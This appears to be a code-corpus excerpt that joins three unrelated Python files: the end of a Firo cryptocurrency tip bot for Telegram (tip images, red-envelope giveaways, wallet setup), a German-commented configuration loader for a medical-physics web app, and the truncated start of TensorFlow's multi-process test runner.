d.text(location_s, "has recharged", font=regular, fill='#000000')
d.text(location_t, "%s Firo" % "{0:.4f}".format(float(amount)), font=bold, fill='#000000')
else:
d.text(location_f, "%s" % first_name, font=bold, fill='#000000')
d.text(location_s, "sent you a tip of", font=regular, fill='#000000')
d.text(location_t, "%s Firo" % "{0:.4f}".format(float(amount)), font=bold, fill='#000000')
receive_img = 'receive.png'
im.save(receive_img)
if comment == "":
self.bot.send_photo(
user_id,
open(receive_img, 'rb')
)
else:
self.bot.send_photo(
user_id,
open(receive_img, 'rb'),
caption="<b>Comment:</b> <i>%s</i>" % self.cleanhtml(comment),
parse_mode='HTML'
)
except Exception as exc:
try:
print(exc)
if 'blocked' in str(exc):
self.send_message(self.group_id,
"<a href='tg://user?id=%s'>User</a> <b>needs to unblock the bot in order to check their balance!</b>" % user_id,
parse_mode='HTML')
traceback.print_exc()
except Exception as exc:
print(exc)
def create_send_tips_image(self, user_id, amount, first_name, comment=""):
try:
im = Image.open("images/send_template.png")
d = ImageDraw.Draw(im)
location_f = (276, 21)
location_s = (276, 45)
location_t = (276, 67)
d.text(location_f, "%s Firo" % "{0:.4f}".format(float(amount)), font=bold, fill='#000001')
d.text(location_s, "tip was sent to", font=regular, fill='#000000')
d.text(location_t, "%s" % first_name, font=bold, fill='#000000')
send_img = 'send.png'
im.save(send_img)
if comment == "":
self.bot.send_photo(
user_id,
open(send_img, 'rb'))
else:
self.bot.send_photo(
user_id,
open(send_img, 'rb'),
caption="<b>Comment:</b> <i>%s</i>" % self.cleanhtml(comment),
parse_mode='HTML'
)
except Exception as exc:
try:
print(exc)
if 'blocked' in str(exc):
self.send_message(self.group_id,
"<a href='tg://user?id=%s'>User</a> <b>needs to unblock the bot in order to check their balance!</b>" % user_id,
parse_mode='HTML')
traceback.print_exc()
except Exception as exc:
print(exc)
traceback.print_exc()
def withdraw_image(self, user_id, amount, address, msg=None):
try:
im = Image.open("images/withdraw_template.png")
d = ImageDraw.Draw(im)
location_transfer = (256, 21)
location_amount = (276, 45)
location_addess = (256, 65)
d.text(location_transfer, "Transaction transfer", font=regular,
fill='#000000')
d.text(location_amount, "%s Firo" % amount, font=bold, fill='#000001')
d.text(location_addess, "to %s..." % address[:8], font=bold,
fill='#000000')
image_name = 'withdraw.png'
im.save(image_name)
self.bot.send_photo(
user_id,
open(image_name, 'rb'),
caption=f'{msg}'
)
except Exception as exc:
print(exc)
traceback.print_exc()
def create_wallet_image(self, public_address):
try:
im = Image.open("images/create_wallet_template.png")
d = ImageDraw.Draw(im)
location_transfer = (258, 32)
d.text(location_transfer, "Wallet created", font=bold,
fill='#000000')
image_name = 'create_wallet.png'
im.save(image_name)
self.bot.send_photo(
self.user_id,
open(image_name, 'rb'),
caption=dictionary['welcome'] % public_address,
parse_mode='HTML',
timeout=200
)
except Exception as exc:
print(exc)
traceback.print_exc()
def withdraw_failed_image(self, user_id):
try:
im = Image.open("images/withdraw_failed_template.png")
d = ImageDraw.Draw(im)
location_text = (230, 52)
d.text(location_text, "Withdraw failed", font=bold, fill='#000000')
image_name = 'withdraw_failed.png'
im.save(image_name)
self.bot.send_photo(
user_id,
open(image_name, 'rb'),
dictionary['withdrawal_failed'],
parse_mode='HTML'
)
except Exception as exc:
print(exc)
traceback.print_exc()
def insufficient_balance_image(self):
try:
im = Image.open("images/insufficient_balance_template.png")
d = ImageDraw.Draw(im)
location_text = (230, 62)
d.text(location_text, "Insufficient Balance", font=bold, fill='#000000')
image_name = 'insufficient_balance.png'
im = im.convert("RGB")
im.save(image_name)
try:
self.bot.send_photo(
self.user_id,
open(image_name, 'rb'),
caption=dictionary['incorrect_balance'] % "{0:.8f}".format(
float(self.balance_in_firo)),
parse_mode='HTML'
)
except Exception as exc:
print(exc)
except Exception as exc:
print(exc)
traceback.print_exc()
def red_envelope_catched(self, amount):
try:
im = Image.open("images/red_envelope_catched.png")
d = ImageDraw.Draw(im)
location_transfer = (236, 35)
location_amount = (256, 65)
location_addess = (205, 95)
d.text(location_transfer, "You caught", font=bold, fill='#000000')
d.text(location_amount, "%s Firo" % amount, font=bold, fill='#f72c56')
d.text(location_addess, "FROM A RED ENVELOPE", font=regular, fill='#000000')
image_name = 'catched.png'
im.save(image_name)
try:
self.bot.send_photo(
self.user_id,
open(image_name, 'rb')
)
except Exception as exc:
print(exc)
except Exception as exc:
print(exc)
traceback.print_exc()
def red_envelope_created(self, first_name, envelope_id):
im = Image.open("images/red_envelope_created.png")
d = ImageDraw.Draw(im)
location_who = (230, 35)
location_note = (256, 70)
d.text(location_who, "%s CREATED" % first_name, font=bold, fill='#000000')
d.text(location_note, "A RED ENVELOPE", font=bold,
fill='#f72c56')
image_name = 'created.png'
im.save(image_name)
try:
response = self.bot.send_photo(
self.group_id,
open(image_name, 'rb'),
reply_markup=InlineKeyboardMarkup(
[[InlineKeyboardButton(
text='Catch Firo✋',
callback_data='catch_envelope|%s' % envelope_id
)]]
)
)
return response['message_id']
except Exception as exc:
print(exc)
return 0
def red_envelope_ended(self):
im = Image.open("images/red_envelope_ended.png")
d = ImageDraw.Draw(im)
location_who = (256, 41)
location_note = (306, 75)
d.text(location_who, "RED ENVELOPE", font=bold, fill='#000000')
d.text(location_note, "ENDED", font=bold, fill='#f72c56')
image_name = 'ended.png'
im.save(image_name)
try:
self.bot.send_photo(
self.user_id,
open(image_name, 'rb'),
)
except Exception as exc:
print(exc)
def incorrect_parametrs_image(self):
try:
im = Image.open("images/incorrect_parametrs_template.png")
d = ImageDraw.Draw(im)
location_text = (230, 62)
d.text(location_text, "Incorrect parameters", font=bold,
fill='#000000')
image_name = 'incorrect_parametrs.png'
im = im.convert("RGB")
im.save(image_name)
self.bot.send_photo(
self.user_id,
open(image_name, 'rb'),
caption=dictionary['incorrect_parametrs'],
parse_mode='HTML'
)
except Exception as exc:
print(exc)
traceback.print_exc()
def create_red_envelope(self, amount):
try:
amount = float(amount)
if amount < 0.001:
self.incorrect_parametrs_image()
return
if self.balance_in_firo >= amount:
envelope_id = str(uuid.uuid4())[:8]
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"Balance": float("{0:.8f}".format(float(self.balance_in_firo) - amount))
}
}
)
msg_id = self.red_envelope_created(self.first_name[:8], envelope_id)
self.col_envelopes.insert_one(
{
"_id": envelope_id,
"amount": amount,
"remains": amount,
"group_id": self.group_id,
"group_username": self.group_username,
"group_type": self.message.chat['type'],
"creator_id": self.user_id,
"msg_id": msg_id,
"takers": [],
"created_at": int(datetime.datetime.now().timestamp())
}
)
else:
self.insufficient_balance_image()
except Exception as exc:
self.incorrect_parametrs_image()
print(exc)
def catch_envelope(self, envelope_id):
try:
envelope = self.col_envelopes.find_one({"_id": envelope_id})
_is_envelope_exist = envelope is not None
_is_ended = envelope['remains'] == 0
_is_user_catched = str(self.user_id) in str(envelope['takers'])
if _is_user_catched:
self.answer_call_back(text="❗️You have already caught Firo from this envelope❗️",
query_id=self.new_message.callback_query.id)
return
if _is_ended:
self.answer_call_back(text="❗RED ENVELOPE ENDED❗️",
query_id=self.new_message.callback_query.id)
self.red_envelope_ended()
self.delete_tg_message(self.group_id, self.message.message_id)
return
if _is_envelope_exist:
minimal_amount = 0.001
if envelope['remains'] <= minimal_amount:
catch_amount = envelope['remains']
else:
if len(envelope['takers']) < 5:
catch_amount = float(
"{0:.8f}".format(float(random.uniform(minimal_amount, envelope['remains'] / 2))))
else:
catch_amount = float(
"{0:.8f}".format(float(random.uniform(minimal_amount, envelope['remains']))))
new_remains = float("{0:.8f}".format(envelope['remains'] - catch_amount))
if new_remains < 0:
new_remains = 0
catch_amount = envelope['remains']
self.col_envelopes.update_one(
{
"_id": envelope_id,
},
{
"$push": {
"takers": [self.user_id, catch_amount]
},
"$set": {
"remains": new_remains
}
}
)
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"Balance": float("{0:.8f}".format(float(self.balance_in_firo) + catch_amount))
}
}
)
try:
if envelope['group_username'] != "None":
msg_text = '<i><a href="tg://user?id=%s">%s</a> caught %s Firo from a <a href="https://t.me/%s/%s">RED ENVELOPE</a></i>' % (
self.user_id,
self.first_name,
"{0:.8f}".format(catch_amount),
envelope['group_username'],
envelope['msg_id']
)
else:
msg_text = '<i><a href="tg://user?id=%s">%s</a> caught %s Firo from a RED ENVELOPE</i>' % (
self.user_id,
self.first_name,
"{0:.8f}".format(catch_amount),
)
self.send_message(
envelope['group_id'],
text=msg_text,
disable_web_page_preview=True,
parse_mode='HTML'
)
except Exception:
traceback.print_exc()
self.answer_call_back(text="✅YOU CAUGHT %s Firo from ENVELOPE✅️" % catch_amount,
query_id=self.new_message.callback_query.id)
self.red_envelope_catched("{0:.8f}".format(catch_amount))
else:
self.insufficient_balance_image()
except Exception as exc:
self.incorrect_parametrs_image()
print(exc)
def delete_tg_message(self, user_id, message_id):
try:
self.bot.delete_message(user_id, message_id=message_id)
except Exception:
pass
def answer_call_back(self, text, query_id):
try:
self.bot.answer_callback_query(
query_id,
text=text,
show_alert=True
)
except Exception as exc:
print(exc)
def auth_user(self):
try:
if self.firo_address is None:
public_address = self.wallet_api.create_user_wallet()
if not self._is_verified:
self.send_message(
self.user_id,
WELCOME_MESSAGE,
parse_mode='html'
)
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"IsVerified": True,
"Address": public_address,
"Balance": 0,
"Locked": 0,
"IsWithdraw": False
}
}, upsert=True
)
self.create_wallet_image(public_address)
else:
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"_id": self.user_id,
"first_name": self.first_name,
"username": self.username,
"IsVerified": True,
"JoinDate": datetime.datetime.now(),
"Address": public_address,
"Balance": 0,
"Locked": 0,
"IsWithdraw": False,
}
}, upsert=True
)
self.send_message(
self.user_id,
WELCOME_MESSAGE,
parse_mode='html',
)
self.create_wallet_image(public_address)
else:
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"IsVerified": True,
}
}, upsert=True
)
self.send_message(
self.user_id,
WELCOME_MESSAGE,
parse_mode='html',
)
except Exception as exc:
print(exc)
traceback.print_exc()
def create_qr_code(self):
try:
url = pyqrcode.create(self.firo_address)
url.png('qrcode.png', scale=6, module_color="#000000",
background="#d8e4ee")
time.sleep(0.5)
self.bot.send_photo(
self.user_id,
open('qrcode.png', 'rb'),
parse_mode='HTML'
)
except Exception as exc:
print(exc)
def cleanhtml(self, string_html):
cleanr = re.compile('<.*?>')
cleantext = re.sub(cleanr, '', string_html)
return cleantext
def send_message(self, user_id, text, parse_mode=None, disable_web_page_preview=None, reply_markup=None):
try:
response = self.bot.send_message(
user_id,
text,
parse_mode=parse_mode,
disable_web_page_preview=disable_web_page_preview,
reply_markup=reply_markup
)
return response
except Exception as exc:
print(exc)
def main():
try:
TipBot(wallet_api)
except Exception as e:
print(e)
traceback.print_exc()
if __name__ == '__main__':
main()
|
config.py | # -*- coding: utf-8 -*-
'''
config
======
logging
-------
logging verwenden::
import logging
logger = logging.getLogger( "MQTT" )
debug Meldungen ausgeben::
logger.setLevel( logging.DEBUG )
logging level:
* CRITICAL - 50
* ERROR - 40
* WARNING - 30
* INFO - 20
* DEBUG - 10
* NOTSET - 0
CHANGELOG
=========
0.1.2 / 2022-05-16
------------------
- add scheme parameter to server.webserver
- remove webserver from use_as_variables
0.1.1 / 2022-03-28
------------------
- add jinja Filter: fromisoformat, datetimeformat and jsondumps
- use secrets.token_hex() instead of os.urandom(16) for SECRET_KEY
0.1.0 / 2021-01-16
------------------
- First Release
'''
__author__ = "R. Bauer"
__copyright__ = "MedPhyDO - Machbarkeitsstudien des Instituts für Medizinische Strahlenphysik und Strahlenschutz am Klinikum Dortmund im Rahmen von Bachelor und Masterarbeiten an der TU-Dortmund / FH-Dortmund"
__credits__ = ["R. Bauer", "K.Loot"]
__license__ = "MIT"
__version__ = "0.1.1"
__status__ = "Prototype"
import sys
import json
import os.path as osp
from dotmap import DotMap
from jinja2 import Environment, FileSystemLoader
from datetime import datetime
import glob
import re
import threading
import secrets
import logging
from isp.mqtt import MQTTclass
default_config = {
"server" : {
"webserver" : {
"scheme": "http",
"host": "127.0.0.1",
"port": 8085,
"name": "webapp",
"title": "webapp",
"resources" : "{{BASE_DIR}}/resources/",
"globals" : "{{BASE_DIR}}/resources/",
"ui" : "{{BASE_DIR}}/ui/",
"debug": True,
"reloader": True,
"TESTING": False,
"resources_test" : "{{BASE_DIR}}/tests/",
"checkNetarea": True,
"SECRET_KEY": secrets.token_hex()
},
"api": {
"prefix" : "/api",
"models" : [ ],
"DBADMIN": False,
"COVERAGE" : False
}
},
"use_as_variables":{
# "webserver" : "server.webserver",
"api" : "server.api",
"mqtt" : "server.mqtt",
"title" : "server.webserver.title",
"resources" : "server.webserver.resources"
}
}
class ispConfig( object ):
"""Konfiguaration aus config/config.json einlesen und bereitstellen.
Die config ist immer im development Mode außer im Pfad kommt production vor
dann wird production Mode gesetzt
Aufbau der config.json zugriff über ._config::
{
"config": {
<haupt konfig bereich : zugriff über .config>
}
}
Attributes
----------
_config: Dot
Die aktuelle Konfiguration
_configs: list
Eingebundene Konfigurationen (filename oder angegeben bei der intialisierung )
_lastOverlay: str
Gibt an bis zu welcher config Datei eingelesen wurde
_rootlevel:int
Fehlerlevel für das root logging (console). Default logging.WARNING
_mqttlevel:int
Fehlerlevel für das MQTT logging. Default logging.ERROR
_basedir: str
Verzeichniss des aufgerufenen Programms
_name : str
name des aufgerufenen Programms
_development : bool
Entwicklungszweig verwenden (True) oder nicht (False)
_loadErrors: list
listet die Dateien auf bei denen es zu einem Fehler beim einlesen kam
_mqtthdlr: None|cls
logger für mqtt zugriff über self._mqtthdlr
"""
def __init__( self, lastOverlay:int=None, development:bool=True,
rootlevel:int=logging.ERROR,
mqttlevel:int=logging.NOTSET,
cleanup:bool=False,
config:dict=None
):
"""Konfiguration initialisieren und laden.
Zuerst wird die Konfiguration config.json eingelesen
und anschließend sortiert von allen passenden config-*.json Dateien überlagert
Parameters
----------
lastOverlay : int
Gibt an bis zu welcher config Datei eingelesen wird.Default = 99999999 (config-99999999.json).
development : bool
Entwicklungszweig verwenden oder nicht. Default is True.
Wird die App in einem Unterverzeichnis mit dem Namen production/ oder development/ abgelegt,
so wird development autom. je nach Name gesetzt.
rootlevel: int - logging.ERROR
NOTSET=0, DEBUG=10, INFO=20, WARN=30, ERROR=40, and CRITICAL=50. Default: ERROR
mqttlevel: int - logging.NOTSET
NOTSET=0, DEBUG=10, INFO=20, WARN=30, ERROR=40, and CRITICAL=50. Default: NOTSET
cleanup: bool
MQTT Cleanup vor dem initialisieren durchführen. Default = False
config: dict
mit dieser Angabe wird keine Konfiguration geladen, sondern die angegebenen Daten verwendet
"""
# _basedir festlegen mit __file__ damit ein testaufruf von hier funktioniert
self._basedir = osp.abspath( osp.join( osp.dirname( osp.abspath( __file__ ) ) , "../" ) )
# name des startenden programms
self._name = osp.basename( sys.argv[0] )
# test auf Entwicklungsumgebung
self._development = development
if self._basedir.find( '/production/' ) > -1: # pragma: no cover
self._development = False
elif self._basedir.find( '/development/' ) > -1:
self._development = True
# lastOverlay auf das aktuelle Datum
if lastOverlay == None:
# ohne lastOverlay zuerst den Zahlenwert für das aktuelle Datum
lastOverlay = datetime.now().strftime("%Y%m%d")
# listet die Dateien auf bei denen es zu einem Fehler beim einlesen kam
self._loadErrors = []
# default werte setzen
self._config = DotMap( default_config )
self._configs = ["default"]
if config:
# config in self._config merken
self.update( config )
self._configs.append( "init" )
else:
# Konfiguration einlesen und in self._config merken
self._configLoad( int(lastOverlay) )
self._lastOverlay = lastOverlay
# die Konfiguration um BASE_DIR erweitern
self._config[ "BASE_DIR" ] = self._basedir
# default logger
self.rootInitLogger( rootlevel )
# logger für mqtt zugriff über self._mqtthdlr
self._mqtthdlr = None
# mqtt Logger bereitstellen oder initialisieren
self.mqttInitLogger( mqttlevel, cleanup )
# variables vorbelegen
self.setVariables()
# Jinja Environment bereitstellen
self._env = self.jinjaEnv()
def update(self, config:dict={} ):
"""Führt ein update wie bei dict.update aber mit dict_merge aus.
Parameters
----------
config : dict
In die config zu mischendes dict.
Returns
-------
self
"""
self._config = dict_merge(self._config, DotMap( config ) )
return self
def merge(self, name:str=None, config:dict={}):
"""Führt ein update in einem angegebenen config Zweig aus.
Gibt es name nicht wird er angelegt
Parameters
----------
name : str
Bezeichner dessen Inhalt ausgelesen wird . operator für die tiefe
config : dict
In den config Zweig zu mischendes dict.
Returns
-------
self
"""
branch = self.get(name, {} )
self.set( name, dict_merge(branch, DotMap( config ) ) )
return self
def _configLoad( self, lastOverlay:int=99999999 ):
"""Konfiguration aus config.json einlesen.
Die Datei muss sich ab _basedir im Verzeichniss config befinden
Alle config Dateien bis zu der durch _overlayLast gebildeten einlesen
Parameters
----------
lastOverlay : int
Default is 99999999
"""
def readConfig( filename:str ):
if osp.isfile( filename ):
# zuerst die normale config Datei einlesen
with open( filename, 'r') as f:
try:
config = json.load( f )
self._config = dict_merge(self._config, DotMap( config ) )
self._configs.append( osp.basename( filename ) )
except:
# Fehler auch hier anzeigen, da noch kein logger bereitsteht
self._loadErrors.append( filename )
self._configs.append( osp.basename( filename ) + " - ERROR" )
print( "CONFIG: Fehler bei json.load", filename )
pass
# den pfad zur konfiguration festlegen
configPath = osp.join( self._basedir, "config")
# zuerst die normale config Datei einlesen
readConfig( osp.join( configPath, "config.json") )
# jetzt alle anderen overlay dateien sortiert einlesen und überlagern
configs = glob.glob(osp.join( configPath, 'config-*.json') )
if len(configs) > 0:
configs.sort()
# alle config Dateien mit Zahlen nach dem - zusammenstellen
for name in configs:
res = re.search('config-([0-9]*)\.json', name )
# jahr und monat als zahl umwandeln, ein jahr allein wird mit 00 ergänzt
ym = 99999999
if res:
ym = int( res.group(1) )
if ym <= lastOverlay:
readConfig( name )
def setVariables( self ):
"""Setzt Defaults und Angaben aus use_as_variables in variables.
setzt immer::
- BASE_DIR
- version
- serverHost
- alles aus use_as_variables
Returns
-------
variables : dict
variables Bereich aus der config
"""
variables = self._config.get("variables", DotMap() ).toDict()
use_as_variables = self._config.get("use_as_variables", DotMap() ).toDict()
variables["BASE_DIR"] = self._basedir
variables["version"] = self.get( "version", __version__)
variables["serverHost"] = "{}://{}:{}".format(
self.get("server.webserver.scheme", ""),
self.get("server.webserver.host", ""),
self.get("server.webserver.port", "")
)
for config_name, config_key in use_as_variables.items():
value = self.get( config_key )
if isinstance( value, DotMap ):
variables[ config_name ] = self.get( config_key ).toDict()
else:
variables[ config_name ] = self.get( config_key )
self._config["variables"] = variables
return variables
def __setitem__(self, k, v):
"""Defines behavior for when an item is assigned to.
using the notation self[nkey] = value.
This is part of the mutable container protocol.
Again, you should raise KeyError and TypeError where appropriate.
Parameters
----------
k : str
Name des Attributs aus dem Object oder der _config.
v :
Zu setzender Inhalt.
"""
if k[0] == "_":
super().__setattr__(k, v)
else:
self._config[k] = v
def __getitem__(self, k):
"""Zugriff auf die Klassenattribute mit _.
sonst wird aus self._config geholt
Defines behavior for when an item is accessed, using the notation self[key].
This is also part of both the mutable and immutable container protocols.
It should also raise appropriate exceptions::
TypeError if the type of the key is wrong and KeyError if there is no corresponding value for the key.
Parameters
----------
k : str
Name des gesuchten Attributs aus dem dict des Object oder der _config.
Returns
-------
Wert des Attributs
"""
if k[0] == "_":
return self.__dict__[k]
else:
return self._config[k]
def __setattr__(self, k, v):
"""Zugriff auf die Klassenattribute mit _.
sonst wird in self._config gesetzt
Unlike __getattr__, __setattr__ is an encapsulation solution.
It allows you to define behavior for assignment to an attribute regardless
of whether or not that attribute exists,
meaning you can define custom rules for any changes in the values of attributes.
However, you have to be careful with how you use __setattr__.
Parameters
----------
k : str
Name des Attributs aus dem Object oder der _config.
v :
Zu setzender Inhalt.
"""
if k[0] == "_":
self.__dict__[k] = v
else:
self._config[k] = v
def __getattr__(self, k):
"""Access nonexistent attribute.
Gibt bei _ None und sonst aus config zu bestimmen.
* Nicht Vorhanden im object bei _ : None
* Nicht vorhanden in config: DotMap bzw. DotMap mit inhalt
self.name # name doesn't exist
Parameters
----------
k : str
Name des gesuchten Attributs aus dem Object oder der _config.
Returns
-------
Wert des Attributs oder None.
"""
if k[0] == "_":
return None
else:
return self._config[k]
def __repr__(self):
"""Define behavior for when repr() is called on an instance of your class.
The major difference between str() and repr() is intended audience.
repr() is intended to produce output that is mostly machine-readable (in many cases, it could be valid Python code even),
whereas str() is intended to be human-readable.
Returns
-------
str
Inhalt der config.
"""
return str(self._config)
def get(self, name:str=None, default=None, replaceVariables:bool=False):
"""Read from configuration.
without specifying complete config returned
Parameters
----------
name : str|list
Identifier whose content is read out. Dot operator for depth
default :
Return if name not found
replaceVariables: bool
Replace variable information in strings. Default is False
"""
# without specifying complete config returned
if not name:
return self._config.toDict()
keys = []
if isinstance(name, str):
keys = name.split(".")
elif isinstance(name, list):
keys = name
val = None
for key in keys:
if val == None:
# try first level
val = self._config.get( key )
# undefined : always use DotMap
if not val:
self._config[ key ] = DotMap()
else:
if isinstance( val, DotMap):
try:
val = val.get(key, default)
except Exception as e: # pragma: no cover
# occurs when a non-existent sub key is searched for, a.b = 12 but search for a.b.c
print("CONFIG: config.get error on get", keys, key, type(val), e )
val = default
pass
if val == None:
val = default
# replace variables if desired
if isinstance(val, str) and replaceVariables==True:
val = self.render_template( val )
return val
def set(self, setkeys:str=None, value=None):
"""set a value in the configuration.
Parameters
----------
setkeys : str|list
Identifier whose content is set use dot operator for the depth.
value :
Content to set
"""
# starting point is the config itself
here = self._config
# convert setkeys to list
keys = []
if isinstance(setkeys, str):
keys = setkeys.split(".")
elif isinstance(setkeys, list):
keys = setkeys
# For every key *before* the last one, we concentrate on navigating through the dictionary.
for key in keys[:-1]:
# Try to find here[key]. If it doesn't exist, create it with an empty DotMap.
# Then, update our `here` pointer to refer to the thing we just found (or created).
here = here.setdefault(key, DotMap() )
# Finally, set the final key to the given value
here[keys[-1]] = value
def rootInitLogger( self, level:int=None ):
"""Initializes the root logger
Parameters
----------
level : int, optional
Logging Level. The default is None.
Returns
-------
None.
"""
baselogger = logging.getLogger( )
# set level if specified
if level:
baselogger.setLevel( level )
# ---- Jinja Environment
#
def jinjaEnv(self):
"""Create Jinja Environment.
to add more extensions read:
- https://github.com/jpsca/jinja-markdown
Returns
-------
env: Environment
"""
#
# since the template system is not yet ready, simply replace BASE_DIR
#
tpl_dir = self.server.webserver.get("resources", ".").replace("{{BASE_DIR}}", self.BASE_DIR )
from jinja2 import select_autoescape
env = Environment(
extensions=[ 'jinja_markdown.MarkdownExtension'],
loader=FileSystemLoader(tpl_dir),
autoescape=select_autoescape(
disabled_extensions=('tmpl',),
default_for_string=False,
default=True,
)
)
def fromisoformat(value):
try:
value = datetime.fromisoformat( value )
except Exception:
pass
return value
def datetimeformat(value, format="%Y-%m-%d"):
try:
value = value.strftime(format)
except Exception:
pass
return value
def jsondumps(value):
try:
value = json.dumps(value, indent=2)
except Exception:
pass
return value
env.filters["fromisoformat"] = fromisoformat
env.filters["datetimeformat"] = datetimeformat
env.filters["jsondumps"] = jsondumps
return env
def render_template( self, tpl:str="", variables:dict=None, deep_replace:bool=False ):
"""Replaces all variables from variables in tpl.
If variables are not specified, _config["variables"] is used
Parameters
----------
tpl : str, optional
Jinja template string. The default is "".
variables : dict, optional
Variable information to be replaced. The default is _config["variables"].
deep_replace: bool, optional
Executes render twice to also replace statements in variables. The default is False
Returns
-------
tpl: str
rendered template
"""
if not variables:
variables = self._config["variables"]
# always give now with the current time
variables["now"] = datetime.now()
# depending on deep_replace single or multiple runs
n = range(1)
if deep_replace:
n = range(3)
for i in n:
try:
_tpl = self._env.from_string( tpl )
tpl = _tpl.render( **variables )
except Exception as e: # pragma: no cover
print("CONFIG: config.render_template error on _tpl.render", e)
return tpl
# ---- MQTT Logging
#
def mqttInitLogger( self, level:int=None, cleanup:bool=False ):
"""Turn on logging via MQTT.
Parameters
----------
level : int, optional
NOTSET=0, DEBUG=10, INFO=20, WARN=30, ERROR=40, and CRITICAL=50. Default: NOTSET
cleanup : bool, optional
Perform MQTT cleanup before initializing. Default = False
Returns
-------
None.
"""
# root logger first
self.logger_name = "root"
# set up a new handler if desired
if cleanup:
self.mqttCleanup()
if self._config.server.mqtt:
# Set MQTT logger
logger = logging.getLogger( "MQTT" )
# Handler for MQTT
mqtthdlr = self.mqttGetHandler( )
if not mqtthdlr:
#
# if something is changed here, the kernel must be restarted or mqttCleanup called
#
mqtt_init_ready = threading.Event()
self._thread_mqtthdlr = None
def signalStartup( msg ):
mqtt_init_ready.set()
def startMQTTclass():
"""Start MQTTclass via threading and wait for signalStartup.
Returns
-------
None.
"""
self._thread_mqtthdlr = MQTTclass( self._config.server.mqtt.toDict() )
# wait for signal
self._thread_mqtthdlr.signalStartup.connect( signalStartup )
# Call as a thread,via mq.get() to get the return of _retrieve
thread = threading.Thread( target=startMQTTclass )
thread.start()
# wait for 2 seconds or mqtt_init_ready signalStartup
while not mqtt_init_ready.wait( timeout=2 ):
mqtt_init_ready.set()
# if mqtt handler has been initialized set logging and _mqtthdlr
if self._thread_mqtthdlr and self._thread_mqtthdlr._mqttc:
_mqtthdlr = self._thread_mqtthdlr
# Initialize the logging handler with the MQTTclass class
logging.Handler.__init__( _mqtthdlr )
logger.addHandler( _mqtthdlr )
# put _mqtthdlr reference and send to logger
logger._mqtthdlr = _mqtthdlr
logger.send = _mqtthdlr.send
# provide progress
logger.progressStart = _mqtthdlr.progress_start
logger.progress = _mqtthdlr.progress_run
logger.progressReady = _mqtthdlr.progress_ready
# when everything is ready put reference to _mqtthdlr
self._mqtthdlr = _mqtthdlr
# remember logger name
self.logger_name = logger.name
else:
# logger is available put reference to _mqtthdlr
self._mqtthdlr = mqtthdlr
# remember logger name
self.logger_name = logger.name
# set level if specified
if level:
logger.setLevel( level )
def mqttGetHandler(self):
"""Specifies the mqtt handler when initialized.
Returns
-------
mqtthdlr.
"""
mqtthdlr = None
# If there is no logger in self._mqtthdlr, use logging to determine it
if self._mqtthdlr:
mqtthdlr = self._mqtthdlr
else:
logger = logging.getLogger( "MQTT" )
if hasattr(logger, '_mqtthdlr'):
mqtthdlr = logger._mqtthdlr
return mqtthdlr
def mqttCleanup( self ):
"""shutdown mqtt and remove the logger.
"""
if self._mqtthdlr:
# shutdown mqtt
self._mqtthdlr.shutdown()
logger = logging.getLogger( "MQTT" )
# remove connection to _mqtthdlr in logger
del( logger._mqtthdlr )
for h in logger.handlers:
logger.removeHandler(h)
self._mqtthdlr = None
# ----
import collections
def dict_merge(dct, merge_dct, add_keys=True):
"""Recursive dict merge.
Inspired by ``dict.update()``, instead of
updating only top-level keys, dict_merge recurses down into dicts nested
to an arbitrary depth, updating keys. The ``merge_dct`` is merged into
``dct``.
This version will return a copy of the dictionary and leave the original
arguments untouched.
The optional argument ``add_keys``, determines whether keys which are
present in ``merge_dict`` but not ``dct`` should be included in the
new dict.
https://gist.github.com/angstwad/bf22d1822c38a92ec0a9
Args:
dct (dict): onto which the merge is executed
merge_dct (dict): dct merged into dct
add_keys (bool): whether to add new keys
Returns:
dict: updated dict
"""
dct = dct.copy()
if not add_keys:
merge_dct = {
k: merge_dct[k]
for k in set(dct).intersection(set(merge_dct))
}
for k, v in merge_dct.items():
if isinstance(dct.get(k), dict) and isinstance(v, collections.Mapping):
dct[k] = dict_merge(dct[k], v, add_keys=add_keys)
else:
dct[k] = v
return dct
|
multi_process_runner.py | # Lint as: python3
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Multi-process runner for testing purpose."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import contextlib
import json
import os
import signal
import sys
import threading
import time
import unittest
from absl import logging
import six
from six.moves import queue as Queue
from tensorflow.python import tf2
from tensorflow.python.compat import v2_compat
from tensorflow.python.distribute import multi_process_lib
from tensorflow.python.eager import context
multiprocessing = multi_process_lib.multiprocessing
# pylint: disable=g-import-not-at-top
try:
# `faulthandler` is not available in py2.
import faulthandler
except ImportError:
faulthandler = None
# TODO(b/150264776): Remove after resolving CI issue.
try:
import dill
except ImportError:
dill = None
# TODO(b/150264776): Remove after resolving CI issue.
try:
import tblib.pickling_support
# For pickling traceback objects.
tblib.pickling_support.install()
except ImportError:
pass
# _ProcessStatusInfo contains process status information. When is_successful
# attribute is True, the subprocess has ended successfully, or if False, the
# exception stack trace info is stored in exc_info to pass on to parent process
# to be re-raised.
_ProcessStatusInfo = collections.namedtuple(
'_ProcessStatusInfo', ['is_successful', 'exc_info', 'return_value'])
# Information returned from a successful MultiProcessRunner run.
MultiProcessRunnerResult = collections.namedtuple('MultiProcessRunnerResult',
['return_value', 'stdout'])
TestEnvironment = collections.namedtuple('TestEnvironment', [
'task_type', 'task_id', 'cluster_spec', 'rpc_layer', 'grpc_fail_fast',
'v2_enabled', 'executing_eagerly'
])
# Resources for communication between worker processes and the main process.
#
# `process_status_queue` is used by `multi_process_runner` internally for
# communication from subprocesses to the parent process for whether it's been
# successful, and if not what the error stack trace is.
# `parent_to_sub_queue` is used for communications from parent to subprocess.
# Currently this is only used to terminate subprocesses.
# TODO(rchao): Remove this once subprocess is terminated by SIGKILL.
# `streaming_pipe_w` is to stream stdout and stderr from subprocesses to parent
# process.
# `barrier` is a barrier for the party of all subprocesses.
Resources = collections.namedtuple('Resources', [
